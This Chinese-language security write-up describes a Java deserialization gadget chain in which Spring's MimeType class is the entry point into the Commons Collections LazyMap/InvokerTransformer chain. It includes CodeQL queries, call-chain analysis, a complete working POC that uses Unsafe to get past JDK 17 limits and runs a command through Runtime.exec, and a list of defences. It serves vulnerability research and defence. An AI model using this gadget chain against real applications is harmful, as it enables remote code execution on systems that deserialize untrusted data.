Spring的新入口类反序列化触发CC链
字数 1499 2025-08-05 08:19:58
Spring新入口类MimeType反序列化触发CC链分析
前言
本文详细分析如何通过Spring框架中的MimeType类作为新的反序列化入口,触发Commons Collections(CC)链实现远程代码执行。该漏洞利用链在以下环境中验证通过:
- JDK 17.0.11
- SpringBoot 3.1.10
- Commons Collections 3.2.1
- CodeQL CLI 2.17.0
技术背景
反序列化漏洞原理
Java反序列化漏洞是指当应用程序反序列化不可信的输入数据时,攻击者可以通过构造特殊的序列化对象,在反序列化过程中执行任意代码。这类漏洞通常需要满足两个条件:
- 存在可被利用的入口类(source)
- 存在可触发危险操作的链式调用(sink)
Commons Collections链
Commons Collections(CC)链是Java反序列化漏洞中经典的利用链,主要通过InvokerTransformer、ChainedTransformer和LazyMap等类的组合,实现在反序列化过程中执行任意命令。
漏洞发现过程
CodeQL环境搭建
- 下载CodeQL CLI命令行工具并配置环境变量
- 在VSCode中安装CodeQL插件并配置CLI路径
- 下载vscode-codeql-starter工作空间
- 创建目标项目的数据库:
codeql database create /path/to/database --language=java --source-root=/path/to/project --command="mvn clean package"
CodeQL查询编写
定义source点 - readObject方法
class ReadObjectMethod extends Method {
ReadObjectMethod(){
this.getDeclaringType() instanceof Serializable and
this.isPrivate() and
this.hasName("readObject") and
this.getReturnType() instanceof VoidType
}
}
定义sink点 - LazyMap.get方法
class LazyMapGetMethod extends Method {
LazyMapGetMethod() {
this.getDeclaringType() instanceof Serializable and
this.isPublic() and
this.getReturnType() instanceof TypeObject and
this.hasName("get") and
this.getDeclaringType().hasQualifiedName("org.apache.commons.collections.map","LazyMap")
}
}
执行查询后发现有45条结果,其中MimeType类有多条路径可以触发LazyMap#get。
漏洞链分析
调用链分析
完整的调用链如下:
MimeType#readObject→ 调用this.getParameter("charset")getParameter→ 调用this.parameters.get("charset")parameters是Map类型,可被设置为LazyMap对象LazyMap#get→ 触发ChainedTransformer#transformChainedTransformer#transform→ 触发InvokerTransformer#transformInvokerTransformer#transform→ 通过反射执行任意命令
关键点说明
MimeType是Spring框架中用于表示MIME类型的类,实现了Serializable接口parameters字段是Map类型,可通过反射修改为恶意的LazyMap- JDK 17中反射修改字段存在权限问题,需要使用
Unsafe类绕过限制
漏洞验证POC
package Test;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.springframework.util.MimeType;
import sun.misc.Unsafe;
import java.lang.reflect.Field;
import java.util.*;
import utils.*;
public class Test {
public static void main(String[] args) throws Exception {
// 构造Transformer链
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[]{String.class,Class[].class},
new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",
new Class[]{Object.class,Object[].class},
new Object[]{null,null}),
new InvokerTransformer("exec",
new Class[]{String.class},
new Object[]{"open -a Calculator"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
// 创建LazyMap
HashMap map = new HashMap();
Map map1 = LazyMap.decorate(map, chainedTransformer);
// 使用Unsafe绕过JDK17限制
Field field = Unsafe.class.getDeclaredField("theUnsafe");
field.setAccessible(true);
Unsafe unsafe = (Unsafe)field.get((Object)null);
// 创建MimeType实例并修改parameters字段
MimeType mimeType = (MimeType) unsafe.allocateInstance(MimeType.class);
unsafe.putObject(mimeType,
unsafe.objectFieldOffset(MimeType.class.getDeclaredField("parameters")),
map1);
// 序列化与反序列化触发漏洞
String pld = SerializeUtils.serializeBase64(mimeType);
SerializeUtils.unserializeBase64(pld);
}
}
防御措施
- 升级Commons Collections到安全版本(3.2.2+)
- 使用Java反序列化过滤器(ObjectInputFilter)限制可反序列化的类
- 避免反序列化不可信的数据源
- 对关键类进行加固,防止字段被恶意修改
总结
本文详细分析了通过Spring框架MimeType类触发CC链的反序列化漏洞,从CodeQL环境搭建、查询编写到完整的POC构造和漏洞利用过程。该漏洞的关键在于:
- 发现
MimeType作为新的反序列化入口 - 利用
parameters字段的可控性 - 在JDK高版本环境下使用
Unsafe绕过限制 - 完整的CC链构造和触发过程
这种漏洞挖掘方法可以推广到其他组件的分析中,通过CodeQL等静态分析工具寻找新的反序列化利用链。